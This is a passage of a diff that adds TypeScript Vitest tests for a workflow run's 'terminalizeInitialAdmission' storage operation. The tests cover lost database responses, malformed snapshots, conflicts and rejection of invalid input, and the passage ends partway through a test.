+    const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => {
+      const statement = prepare(sql);
+      if (sql.startsWith('UPDATE "')) {
+        const bind = statement.bind.bind(statement);
+        vi.spyOn(statement, 'bind').mockImplementation((...values) => {
+          const bound = bind(...values);
+          const all = bound.all.bind(bound);
+          vi.spyOn(bound, 'all').mockImplementation(async () => {
+            if (phase === 'after') {
+              const response = await all();
+              expect(response.results).toHaveLength(1);
+              expect(h.rows()).toEqual([
+                expect.objectContaining({
+                  snapshot: values[0],
+                  updatedAt: values[1],
+                }),
+              ]);
+              committed += 1;
+            } else {
+              expect(h.rows()).toEqual(initial);
+            }
+            const row = h.replace((snapshot) => {
+              snapshot.status = 'running';
+              snapshot.timestamp = 456;
+              snapshot.requestContext[PROVENANCE].attemptToken = 'resume';
+              snapshot.requestContext[PROVENANCE].requestedBy = 'Bob';
+              snapshot.requestContext[PROVENANCE].resumeCounts = [['gate', 1]];
+              delete snapshot.requestContext[PROVENANCE].initialAdmission;
+            }).expected;
+            observed = { ...row, updatedAt: new Date(456).toISOString() };
+            h.sql
+              .prepare('UPDATE mastra_workflow_snapshot SET updatedAt = ?')
+              .run(observed.updatedAt);
+            laterRows = h.rows();
+            throw fault;
+          });
+          return bound;
+        });
+      }
+      return statement;
+    });
+    const result = await h.capability
+      .terminalizeInitialAdmission(h.request)
+      .catch((error: unknown) => error);
+    expect(result).toEqual({ kind: 'progressed', row: observed });
+    expect(committed).toBe(phase === 'after' ? 1 : 0);
+    expect(observed).toBeDefined();
+    expect(h.rows()).toEqual(laterRows);
+    expect(calls).toHaveBeenCalledTimes(2);
+    expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+    expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    ['cancelled', 'throw'],
+    ['cancelled', 'zero'],
+    ['cancelled', 'returned'],
+    ['timed_out', 'throw'],
+    ['timed_out', 'zero'],
+    ['timed_out', 'returned'],
+  ] as const)('converges exact stored %s intent after %s response and explicit retry with incomplete cleanup', async (status, response) => {
+    const h = await terminalFixture();
+    const principals = [{ kind: 'service', id: 'original-replay' }];
+    const scheduleDispatch = {
+      scheduleId: 'intent-schedule',
+      dispatchId: 'intent-dispatch',
+    };
+    const economicOperations = [{ id: 'economic', settlementState: 'settled' }];
+    const request = h.replace((snapshot) => {
+      snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+        version: 1,
+        revision: 4,
+        deadlineAt: 123,
+        scheduleDispatch,
+        economicOperations,
+        transitionIntent: {
+          status,
+          requestedAt: 1,
+          replayPrincipals: principals,
+        },
+      };
+    });
+    const participants = () => [
+      h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+      h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(),
+    ];
+    const before = participants();
+    const cardinalities: number[] = [];
+    const fault = new Error('stored intent response lost after commit');
+    const calls = terminalResponse(h, (raw) => {
+      const result = raw as { results: unknown[] };
+      cardinalities.push(result.results.length);
+      if (cardinalities.length === 1) {
+        expect(result.results).toHaveLength(1);
+        if (response === 'throw') throw fault;
+        if (response === 'zero') return { results: [], meta: { changes: 0 } };
+      }
+      return raw;
+    });
+    const result = await h.capability.terminalizeInitialAdmission(request);
+    expect(result.kind).toBe(
+      response === 'returned' ? 'terminalized' : 'already-terminalized',
+    );
+    if (result.kind === 'conflict') throw new Error('unexpected conflict');
+    const original = JSON.parse(request.expected.snapshot);
+    const provenance = { ...original.requestContext[PROVENANCE] };
+    delete provenance.initialAdmission;
+    expect(JSON.parse(result.row.snapshot)).toEqual({
+      ...original,
+      status,
+      error: {
+        name: status === 'cancelled' ? 'RunCancelledError' : 'RunTimedOutError',
+        message:
+          status === 'cancelled' ? 'run was cancelled' : 'run deadline expired',
+      },
+      requestContext: {
+        ...original.requestContext,
+        [PROVENANCE]: provenance,
+        [RUN_LIFECYCLE_CONTEXT_KEY]: {
+          version: 1,
+          revision: 5,
+          deadlineAt: 123,
+          scheduleDispatch,
+          economicOperations,
+          terminal: {
+            status,
+            error: {
+              code: status === 'cancelled' ? 'CANCELLED' : 'TIMED_OUT',
+              message:
+                status === 'cancelled'
+                  ? 'run was cancelled'
+                  : 'run deadline expired',
+            },
+            transitionedAt: request.nowMs,
+            replayPrincipals: principals,
+          },
+        },
+      },
+      timestamp: request.nowMs,
+    });
+    expect(result.row).toEqual({
+      ...request.expected,
+      snapshot: result.row.snapshot,
+      updatedAt: new Date(request.nowMs).toISOString(),
+    });
+    expect(result.cleanup).toEqual({
+      revision: 5,
+      status,
+      cleanupCompleted: false,
+      scheduleDispatch,
+    });
+    expect(calls).toHaveBeenCalledTimes(response === 'returned' ? 1 : 2);
+    expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+    if (response !== 'returned')
+      expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+    const committedRows = h.rows();
+    expect(committedRows).toEqual([
+      {
+        workflow_name: result.row.workflowId,
+        run_id: result.row.runId,
+        snapshot: result.row.snapshot,
+        resourceId: result.row.resourceId,
+        createdAt: result.row.createdAt,
+        updatedAt: result.row.updatedAt,
+      },
+    ]);
+    calls.mockClear();
+    const retry = await h.capability.terminalizeInitialAdmission(request);
+    expect(retry).toEqual({ ...result, kind: 'already-terminalized' });
+    expect(cardinalities).toEqual([1, 0]);
+    expect(calls).toHaveBeenCalledTimes(2);
+    expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+    expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /);
+    expect(h.rows()).toEqual(committedRows);
+    expect(participants()).toEqual(before);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'unknown',
+    'cancelled',
+    'timed_out',
+    'progressed',
+    'conflict',
+    'invalid',
+    'unreadable',
+  ] as const)('never enters engine, adapter upsert/delete, side tables or snapshot callbacks for %s terminalization', async (variant) => {
+    const shouldPersist = vi.fn(() => true);
+    const prune = vi.fn(
+      ({ snapshot }: { snapshot: WorkflowRunState }) => snapshot,
+    );
+    const h = await fixture({
+      keyed: true,
+      state: 'proof-only',
+      shouldPersist,
+      prune,
+    });
+    const { value: run, witness } = await h.admit();
+    expect(shouldPersist).toHaveBeenCalled();
+    expect(prune).toHaveBeenCalled();
+    const snapshot = JSON.parse(witness.row.snapshot);
+    if (variant === 'cancelled' || variant === 'timed_out') {
+      snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+        version: 1,
+        revision: 1,
+        transitionIntent: {
+          status: variant,
+          requestedAt: 1,
+          replayPrincipals: [OWNER],
+        },
+      };
+    }
+    const expected = { ...witness.row, snapshot: JSON.stringify(snapshot) };
+    if (variant === 'progressed') snapshot.status = 'running';
+    if (variant === 'conflict') snapshot.changed = true;
+    h.sql
+      .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?')
+      .run(JSON.stringify(snapshot));
+    const request: InitialTerminalizationRequest = {
+      expected:
+        variant === 'unreadable' ? { ...expected, snapshot: '{' } : expected,
+      execution: h.input.execution,
+      attemptToken: variant === 'invalid' ? '' : h.input.attemptToken,
+      nowMs: 1_700_000_000_123,
+    };
+    const before = h.rows();
+    const participants = () => [
+      h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+      h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(),
+    ];
+    const participantsBefore = participants();
+    const forbidden = vi.fn(() => {
+      throw new Error('forbidden terminalization entry');
+    });
+    shouldPersist.mockClear().mockImplementation(forbidden);
+    prune.mockClear().mockImplementation(forbidden);
+    const sentinels = [
+      forbidden,
+      vi.spyOn(h.workflow, 'createRun').mockImplementation(forbidden),
+      vi.spyOn(run, 'start').mockImplementation(forbidden),
+      vi.spyOn(run, 'resume').mockImplementation(forbidden),
+      vi
+        .spyOn(h.domain, 'persistWorkflowSnapshot')
+        .mockImplementation(forbidden),
+      vi
+        .spyOn(WorkflowsStorageD1.prototype, 'persistWorkflowSnapshot')
+        .mockImplementation(forbidden),
+      vi.spyOn(h.domain, 'deleteWorkflowRunById').mockImplementation(forbidden),
+      vi
+        .spyOn(WorkflowsStorageD1.prototype, 'deleteWorkflowRunById')
+        .mockImplementation(forbidden),
+      vi.spyOn(h.db, 'batch').mockImplementation(forbidden),
+      shouldPersist,
+      prune,
+    ];
+    const prepare = h.db.prepare.bind(h.db);
+    const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => {
+      if (
+        !/^(UPDATE|SELECT) /.test(sql) ||
+        !sql.includes('"mastra_workflow_snapshot"') ||
+        /flowsafe_|ON CONFLICT|PRAGMA/.test(sql)
+      )
+        forbidden();
+      return prepare(sql);
+    });
+    const result = await h.capability
+      .terminalizeInitialAdmission(request)
+      .catch((error: unknown) => error);
+    for (const sentinel of sentinels) expect(sentinel).not.toHaveBeenCalled();
+    expect(participants()).toEqual(participantsBefore);
+    expect(h.effects()).toBe(0);
+    expect(isDefinitiveInitialAdmissionRefusal(result, h.input.execution)).toBe(
+      false,
+    );
+    if (variant === 'invalid' || variant === 'unreadable') {
+      expect(result).toBeInstanceOf(
+        variant === 'invalid'
+          ? InvalidExecutionIdentityError
+          : ExecutionFenceUnreadableError,
+      );
+      expect(calls).not.toHaveBeenCalled();
+      expect(h.rows()).toEqual(before);
+    } else if (variant === 'progressed' || variant === 'conflict') {
+      expect(result).toMatchObject({ kind: variant });
+      expect(calls).toHaveBeenCalledTimes(2);
+      expect(h.rows()).toEqual(before);
+    } else {
+      expect(result).toMatchObject({ kind: 'terminalized' });
+      expect(calls).toHaveBeenCalledTimes(1);
+      expect(h.rows()).toEqual([
+        expect.objectContaining({
+          snapshot: expect.stringContaining(
+            `"status":"${variant === 'unknown' ? 'failed' : variant}"`,
+          ),
+        }),
+      ]);
+    }
+  });
+
+  it('preserves the initiating agent mode, identity and original epoch', async () => {
+    const h = await terminalFixture();
+    const request = h.replace((snapshot) => {
+      snapshot.requestContext[PROVENANCE].startIdentity = {
+        owner: OWNER,
+        target: { kind: 'agent', id: 'agent', threadId: 'thread' },
+      };
+      snapshot.requestContext[PROVENANCE].agentStart = { threaded: false };
+      snapshot.requestContext[PROVENANCE].mutationEpoch = 7;
+    });
+    const result = await h.capability.terminalizeInitialAdmission(request);
+    if (result.kind === 'conflict') throw new Error('unexpected conflict');
+    expect(
+      JSON.parse(result.row.snapshot).requestContext[PROVENANCE],
+    ).toMatchObject({
+      startIdentity: {
+        owner: OWNER,
+        target: { kind: 'agent', id: 'agent', threadId: 'thread' },
+      },
+      agentStart: { threaded: false },
+      mutationEpoch: 7,
+    });
+  });
+  it('preserves current lifecycle-terminal precedence and cleanup on progress readback', async () => {
+    const h = await terminalFixture();
+    h.replace((snapshot) => {
+      snapshot.status = 'success';
+      snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+        version: 1,
+        revision: 9,
+        scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' },
+        terminal: {
+          status: 'timed_out',
+          error: { code: 'TIMED_OUT', message: 'run deadline expired' },
+          transitionedAt: 1,
+          replayPrincipals: [OWNER],
+          cleanupCompletedAt: 0,
+        },
+      };
+    });
+    expect(
+      await h.capability.terminalizeInitialAdmission(h.request),
+    ).toMatchObject({
+      kind: 'progressed',
+      cleanup: {
+        revision: 9,
+        status: 'timed_out',
+        cleanupCompleted: true,
+        scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' },
+      },
+    });
+  });
+  it.each([
+    'zero',
+    'throw',
+  ] as const)('keeps malformed %s readback unreadable with the original operation cause', async (mode) => {
+    const h = await terminalFixture();
+    const fault = new Error('original write fault');
+    terminalResponse(h, () => {
+      h.sql
+        .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?')
+        .run('{');
+      if (mode === 'throw') throw fault;
+      return { results: [], meta: { changes: 0 } };
+    });
+    const error = await h.capability
+      .terminalizeInitialAdmission(h.request)
+      .catch((error: unknown) => error);
+    expect(error).toMatchObject({
+      status: 503,
+      message: 'initial admission cannot be terminalized',
+      cause: mode === 'throw' ? fault : expect.any(Error),
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+  });
+  it('derives unknown-effects failure solely from the expected initial row', async () => {
+    const h = await terminalFixture();
+    const request = h.replace((snapshot) => {
+      snapshot.result = { stale: true };
+      snapshot.error = { message: 'stale' };
+      snapshot.steps = { retained: { output: 'λ' } };
+      snapshot.requestContext[PROVENANCE].unknown = { keep: true };
+      snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+        version: 1,
+        revision: Number.MAX_SAFE_INTEGER,
+        economicOperations: [{ id: 'economic', settlementState: 'disputed' }],
+      };
+    });
+    const participants = () => [
+      h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+      h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(),
+    ];
+    const before = participants();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const batch = vi.spyOn(h.db, 'batch');
+    const result = await h.capability.terminalizeInitialAdmission({
+      ...request,
+      requestedStatus: 'cancelled',
+      failedSnapshot: { status: 'success' },
+    } as InitialTerminalizationRequest);
+    expect(result.kind).toBe('terminalized');
+    if (result.kind === 'conflict') throw new Error('unexpected conflict');
+    const snapshot = JSON.parse(result.row.snapshot);
+    expect(snapshot).toMatchObject({
+      status: 'failed',
+      runId: 'run',
+      error: {
+        name: 'StartOutcomeUnknown',
+        message:
+          'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.',
+      },
+      activePaths: [],
+      activeStepsPath: {},
+      suspendedPaths: {},
+      waitingPaths: {},
+      resumeLabels: {},
+      steps: { retained: { output: 'λ' } },
+      timestamp: request.nowMs,
+    });
+    expect(snapshot).not.toHaveProperty('result');
+    expect(snapshot.error).not.toHaveProperty('stack');
+    const original = JSON.parse(request.expected.snapshot).requestContext;
+    const expectedContext = {
+      ...original,
+      [PROVENANCE]: { ...original[PROVENANCE] },
+    };
+    delete expectedContext[PROVENANCE].initialAdmission;
+    expect(snapshot.requestContext).toEqual(expectedContext);
+    expect(result).not.toHaveProperty('cleanup');
+    expect(result.row).toMatchObject({
+      resourceId: request.expected.resourceId,
+      createdAt: request.expected.createdAt,
+      updatedAt: new Date(request.nowMs).toISOString(),
+    });
+    expect(prepare).toHaveBeenCalledTimes(1);
+    expect(prepare.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+    expect(batch).not.toHaveBeenCalled();
+    expect(participants()).toEqual(before);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'cancelled',
+    'timed_out',
+  ] as const)('honors stored %s intent without new caller authority', async (status) => {
+    const h = await terminalFixture();
+    const principals = [{ kind: 'service', id: 'original' }];
+    const request = h.replace((snapshot) => {
+      snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+        version: 1,
+        revision: Number.MAX_SAFE_INTEGER - 1,
+        deadlineAt: 123,
+        scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' },
+        economicOperations: [{ id: 'economic', settlementState: 'settled' }],
+        transitionIntent: {
+          status,
+          requestedAt: 1,
+          replayPrincipals: principals,
+        },
+      };
+    });
+    const result = await h.capability.terminalizeInitialAdmission(request);
+    expect(result.kind).toBe('terminalized');
+    if (result.kind === 'conflict') throw new Error('unexpected conflict');
+    const snapshot = JSON.parse(result.row.snapshot);
+    expect(snapshot.status).toBe(status);
+    expect(snapshot.error).toEqual({
+      name: status === 'cancelled' ? 'RunCancelledError' : 'RunTimedOutError',
+      message:
+        status === 'cancelled' ? 'run was cancelled' : 'run deadline expired',
+    });
+    expect(snapshot.requestContext[PROVENANCE]).not.toHaveProperty(
+      'initialAdmission',
+    );
+    const lifecycle = snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY];
+    expect(lifecycle).not.toHaveProperty('transitionIntent');
+    expect(lifecycle).toMatchObject({
+      revision: Number.MAX_SAFE_INTEGER,
+      deadlineAt: 123,
+      economicOperations: [{ id: 'economic', settlementState: 'settled' }],
+      terminal: {
+        status,
+        transitionedAt: request.nowMs,
+        replayPrincipals: principals,
+      },
+    });
+    expect(lifecycle.terminal).not.toHaveProperty('cleanupCompletedAt');
+    expect(result.cleanup).toEqual({
+      revision: Number.MAX_SAFE_INTEGER,
+      status,
+      cleanupCompleted: false,
+      scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' },
+    });
+  });
+
+  it.each([
+    'disputed',
+    'exhausted',
+  ])('retains %s lifecycle state without a write', async (variant) => {
+    const h = await terminalFixture();
+    const request = h.replace((snapshot) => {
+      snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = {
+        version: 1,
+        revision: variant === 'exhausted' ? Number.MAX_SAFE_INTEGER : 1,
+        economicOperations: [{ id: 'operation', settlementState: variant }],
+        transitionIntent: {
+          status: 'cancelled',
+          requestedAt: 1,
+          replayPrincipals: [OWNER],
+        },
+      };
+    });
+    const before = h.rows();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const error = await h.capability
+      .terminalizeInitialAdmission(request)
+      .catch((error: unknown) => error);
+    expect(h.rows()).toEqual(before);
+    expect(prepare).not.toHaveBeenCalled();
+    if (variant === 'disputed')
+      expect(error).toBeInstanceOf(RunLifecycleBlockedError);
+    else
+      expect(error).toMatchObject({
+        message: 'initial admission cannot be terminalized',
+        cause: { message: 'run lifecycle revision cannot advance' },
+      });
+    expect(isDefinitiveInitialAdmissionRefusal(error, request.execution)).toBe(
+      false,
+    );
+  });
+
+  it.each([
+    ['invalid JSON', 503],
+    ['array root', 503],
+    ['unknown status', 503],
+    ['missing run', 503],
+    ['wrong body run', 503],
+    ['array context', 503],
+    ['null provenance', 503],
+    ['unknown version', 503],
+    ['malformed counts nonpending', 503],
+    ['malformed lifecycle nonpending', 503],
+    ['malformed epoch', 503],
+    ['legacy', 400],
+    ['absent provenance', 400],
+    ['nonpending', 400],
+    ['unmarked', 400],
+    ['other S', 400],
+    ['other H', 400],
+    ['progressed requester', 400],
+    ['progressed count', 400],
+    ['terminal lifecycle', 400],
+    ['active path', 400],
+    ['missing control', 400],
+    ['wrong aux run', 400],
+    ['wrong aux workflow', 400],
+    ['inherited workflow target', 400],
+  ] as const)('distinguishes %s observations with status %i before SQL', async (variant, status) => {
+    const h = await terminalFixture();
+    const value = JSON.parse(h.request.expected.snapshot);
+    const context = value.requestContext;
+    const provenance = context[PROVENANCE];
+    if (variant === 'unknown status') value.status = 'invented';
+    if (variant === 'missing run') delete value.runId;
+    if (variant === 'wrong body run') value.runId = 'other';
+    if (variant === 'array context') value.requestContext = [];
+    if (variant === 'null provenance') context[PROVENANCE] = null;
+    if (variant === 'unknown version') provenance.version = 3;
+    if (variant === 'legacy') provenance.version = 1;
+    if (variant === 'absent provenance') delete context[PROVENANCE];
+    if (variant.includes('nonpending')) value.status = 'success';
+    if (variant === 'malformed counts nonpending')
+      provenance.resumeCounts = [['step', -1]];
+    if (variant === 'malformed lifecycle nonpending')
+      context[RUN_LIFECYCLE_CONTEXT_KEY] = { version: 1, revision: 0 };
+    if (variant === 'malformed epoch') provenance.mutationEpoch = '0';
+    if (variant === 'unmarked') delete provenance.initialAdmission;
+    if (variant === 'other S') provenance.startToken = 'other';
+    if (variant === 'other H') provenance.attemptToken = 'other';
+    if (variant === 'progressed requester') provenance.requestedBy = 'Bob';
+    if (variant === 'progressed count') provenance.resumeCounts = [['step', 1]];
+    if (variant === 'terminal lifecycle')
+      context[RUN_LIFECYCLE_CONTEXT_KEY] = {
+        version: 1,
+        revision: 1,
+        terminal: {
+          status: 'cancelled',
+          error: { code: 'CANCELLED', message: 'run was cancelled' },
+          transitionedAt: 1,
+          replayPrincipals: [OWNER],
+        },
+      };
+    if (variant === 'active path') value.activePaths = ['step'];
+    if (variant === 'missing control') delete value.waitingPaths;
+    if (variant === 'wrong aux run') context.runId = 'other';
+    if (variant === 'wrong aux workflow')
+      context['breakwater.workflowScope'] = 'other';
+    if (variant === 'inherited workflow target')
+      provenance.startIdentity.target.id = 'parent';
+    const snapshot =
+      variant === 'invalid JSON'
+        ? '{'
+        : variant === 'array root'
+          ? '[]'
+          : JSON.stringify(value);
+    const before = h.rows();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const error = await h.capability
+      .terminalizeInitialAdmission({
+        ...h.request,
+        expected: { ...h.request.expected, snapshot },
+      })
+      .catch((error: unknown) => error);
+    expect(h.rows()).toEqual(before);
+    expect(prepare).not.toHaveBeenCalled();
+    expect(error).toMatchObject({ status });
+    if (status === 503) {
+      expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+      expect(error).toMatchObject({
+        name: 'ExecutionFenceUnreadableError',
+        reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+        message: 'initial admission cannot be terminalized',
+        cause: expect.any(Error),
+      });
+    } else {
+      expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+      if (!(error instanceof InvalidExecutionIdentityError))
+        throw new Error('expected input error');
+      expect(error.constructor).toBe(InvalidExecutionIdentityError);
+      expect(error.reason).toEqual({ code: 'INVALID_EXECUTION_IDENTITY' });
+      expect(error).toMatchObject({
+        name: 'InvalidExecutionIdentityError',
+        reason: { code: 'INVALID_EXECUTION_IDENTITY' },
+        message: 'initial admission identity is inconsistent',
+      });
+    }
+    expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe(
+      false,
+    );
+  });
+
+  it('rejects incoherent caller frames and preserves original getter faults before SQL', async () => {
+    const h = await terminalFixture();
+    const admissionMessage = 'initial admission identity is inconsistent';
+    const invalid: Array<[unknown, string]> = [
+      [null, admissionMessage],
+      [[], admissionMessage],
+      [{}, 'execution identity must be an object'],
+      ...[NaN, Infinity, -1, 1.5, Number.MAX_SAFE_INTEGER].map(
+        (nowMs): [unknown, string] => [
+          { ...h.request, nowMs },
+          admissionMessage,
+        ],
+      ),
+      [{ ...h.request, attemptToken: '' }, admissionMessage],
+      [
+        {
+          ...h.request,
+          execution: { ...h.request.execution, tablePrefix: null },
+        },
+        'tablePrefix is not valid for this execution identity',
+      ],
+    ];
+    for (const [field, value] of Object.entries({
+      tablePrefix: 'other_',
+      workflowId: 'other',
+      runId: 'other',
+      snapshot: null,
+      resourceId: 1,
+      createdAt: null,
+      updatedAt: null,
+    }))
+      invalid.push([
+        {
+          ...h.request,
+          expected: { ...h.request.expected, [field]: value },
+        },
+        admissionMessage,
+      ]);
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const batch = vi.spyOn(h.db, 'batch');
+    const before = h.rows();
+    for (const [request, message] of invalid) {
+      const error = await h.capability
+        .terminalizeInitialAdmission(request as InitialTerminalizationRequest)
+        .catch((error: unknown) => error);
+      expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+      if (!(error instanceof InvalidExecutionIdentityError))
+        throw new Error('expected input error');
+      expect(error.constructor).toBe(InvalidExecutionIdentityError);
+      expect(error.reason).toEqual({ code: 'INVALID_EXECUTION_IDENTITY' });
+      expect(error).toMatchObject({
+        status: 400,
+        name: 'InvalidExecutionIdentityError',
+        reason: { code: 'INVALID_EXECUTION_IDENTITY' },
+        message,
+      });
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, h.input.execution),
+      ).toBe(false);
+      expect(prepare).not.toHaveBeenCalled();
+      expect(batch).not.toHaveBeenCalled();
+      expect(h.rows()).toEqual(before);
+    }
+    const fault = new Error('caller accessor');
+    await expect(
+      h.capability.terminalizeInitialAdmission({
+        ...h.request,
+        get expected(): RawWorkflowSnapshot {
+          throw fault;
+        },
+      }),
+    ).rejects.toBe(fault);
+    expect(prepare).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'workflow_name',
+    'run_id',
+    'snapshot',
+    'createdAt',
+    'updatedAt',
+    'resourceId',
+  ])('compares the original raw %s field without retry', async (field) => {
+    const h = await terminalFixture();
+    const value =
+      field === 'snapshot'
+        ? JSON.stringify({
+            ...JSON.parse(h.request.expected.snapshot),
+            changed: true,
+          })
+        : 'other';
+    h.sql
+      .prepare(`UPDATE mastra_workflow_snapshot SET ${field} = ?`)
+      .run(value);
+    const before = h.rows();
+    const prepare = vi.spyOn(h.db, 'prepare');
+    const result = await h.capability
+      .terminalizeInitialAdmission(h.request)
+      .catch((error: unknown) => error);
+    expect(h.rows()).toEqual(before);
+    expect(result).toMatchObject({ kind: 'conflict' });
+    expect(prepare).toHaveBeenCalledTimes(2);
+  });
+
+  it.each([
+    'committed',
+    'zero',
+    'throw-before',
+    'missing-table',
+  ])('classifies %s response loss without automatic replay', async (variant) => {
+    const h = await terminalFixture();
+    const fault = new Error('write response lost');
+    if (variant === 'missing-table')
+      h.sql.exec('DROP TABLE mastra_workflow_snapshot');
+    const prepare = h.db.prepare.bind(h.db);
+    const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => {
+      const statement = prepare(sql);
+      if (sql.startsWith('UPDATE "')) {
+        const bind = statement.bind.bind(statement);
+        vi.spyOn(statement, 'bind').mockImplementation((...values) => {
+          const bound = bind(...values);
+          const all = bound.all.bind(bound);
+          vi.spyOn(bound, 'all').mockImplementation(async () => {
+            if (variant !== 'throw-before' && variant !== 'missing-table')
+              await all();
+            if (variant === 'zero')
+              return { results: [], meta: { changes: 0 } };
+            throw fault;
+          });
+          return bound;
+        });
+      }
+      return statement;
+    });
+    const outcome = await h.capability
+      .terminalizeInitialAdmission(h.request)
+      .catch((error: unknown) => error);
+    expect(calls).toHaveBeenCalledTimes(2);
+    if (variant === 'committed' || variant === 'zero')
+      expect(outcome).toMatchObject({ kind: 'already-terminalized' });
+    else
+      expect(outcome).toMatchObject({
+        message: 'initial admission cannot be terminalized',
+        cause: fault,
+      });
+    expect(
+      isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution),
+    ).toBe(false);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'running',
+    'success',
+    'failed',
+    'suspended',
+    'waiting',
+    'paused',
+    'canceled',
+    'bailed',
+    'skipped',
+    'tripwire',
+    'waiting_callback',
+    'waiting_signal',
+    'retry_wait',
+    'cancelled',
+    'timed_out',
+  ])('recognizes same-generation %s progress with a retained admission stamp', async (status) => {
+    const h = await terminalFixture();
+    h.replace((snapshot) => {
+      snapshot.status = status;
+      snapshot.requestContext[PROVENANCE].requestedBy = 'Bob';
+      snapshot.requestContext[PROVENANCE].attemptToken = 'resume';
+      snapshot.requestContext[PROVENANCE].resumeCounts = [
+        ['gate', Number.MAX_SAFE_INTEGER],
+      ];
+    });
+    const before = h.rows();
+    const result = await h.capability.terminalizeInitialAdmission(h.request);
+    expect(h.rows()).toEqual(before);
+    expect(result.kind).toBe('progressed');
+    expect(result).not.toHaveProperty('cleanup');
+  });
+
+  it.each([
+    'pending marked',
+    'pending unmarked',
+    'other generation',
+    'other owner',
+    'other target',
+    'other epoch',
+    'legacy',
+  ])('does not call %s convergence progress', async (variant) => {
+    const h = await terminalFixture();
+    h.replace((snapshot) => {
+      snapshot.changed = true;
+      snapshot.status = variant.startsWith('pending') ? 'pending' : 'success';
+      const provenance = snapshot.requestContext[PROVENANCE];
+      if (variant === 'pending unmarked') delete provenance.initialAdmission;
+      if (variant === 'other generation') provenance.startToken = 'other';
+      if (variant === 'other owner') provenance.startIdentity.owner.id = 'Bob';
+      if (variant === 'other target')
+        provenance.startIdentity.target.id = 'other';
+      if (variant === 'other epoch') provenance.mutationEpoch = 1;
+      if (variant === 'legacy') provenance.version = 1;
+    });
+    const before = h.rows();
+    expect(
+      await h.capability.terminalizeInitialAdmission(h.request),
+    ).toMatchObject({ kind: 'conflict' });
+    expect(h.rows()).toEqual(before);
+  });
+
+  it.each([
+    'workflow_name',
+    'run_id',
+    'resourceId',
+    'snapshot',
+    'createdAt',
+    'updatedAt',
+  ] as const)('rejects changed returned %s after an actual commit without readback', async (field) => {
+    const h = await terminalFixture();
+    const committed: Record<string, unknown>[] = [];
+    const calls = terminalResponse(h, (raw) => {
+      const response = raw as { results: Record<string, unknown>[] };
+      expect(response.results).toHaveLength(1);
+      const row = response.results[0];
+      if (!row) throw new Error('committed returned row required');
+      committed.push({ ...row });
+      const value =
+        field === 'snapshot'
+          ? JSON.stringify({
+              ...JSON.parse(row.snapshot as string),
+              changedReturn: true,
+            })
+          : field === 'createdAt' || field === 'updatedAt'
+            ? '2000-01-01T00:00:00.000Z'
+            : 'different-returned-value';
+      expect(value).not.toEqual(row[field]);
+      return { ...response, results: [{ ...row, [field]: value }] };
+    });
+    const outcome = await h.capability
+      .terminalizeInitialAdmission(h.request)
+      .catch((error: unknown) => error);
+    expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError);
+    expect(outcome).toMatchObject({
+      status: 503,
+      message: 'initial admission cannot be terminalized',
+      reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+      cause: expect.any(Error),
+    });
+    expect(calls).toHaveBeenCalledTimes(1);
+    expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /);
+    expect(committed).toHaveLength(1);
+    expect(h.rows()).toEqual(committed);
+    expect(
+      isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution),
+    ).toBe(false);
+    expect(h.effects()).toBe(0);
+  });
+
+  it.each([
+    'false success',
+    'missing results',
+    'multiple rows',
+    'wrong row',
+    'inconsistent changes',
+    'negative changes',
+    'sparse results',
+    'inherited result',
+    'shrinking results',
+  ])('refuses %s RETURNING without a recovery read or definitive-zero evidence', async (variant) => {
+    const h = await terminalFixture();
+    const calls = terminalResponse(h, (raw) => {
+      const response = raw as {
+        results: Record<string, unknown>[];
+        meta: { changes: number };
+      };
+      const row = response.results[0];
+      if (!row) throw new Error('fixture requires committed returned row');
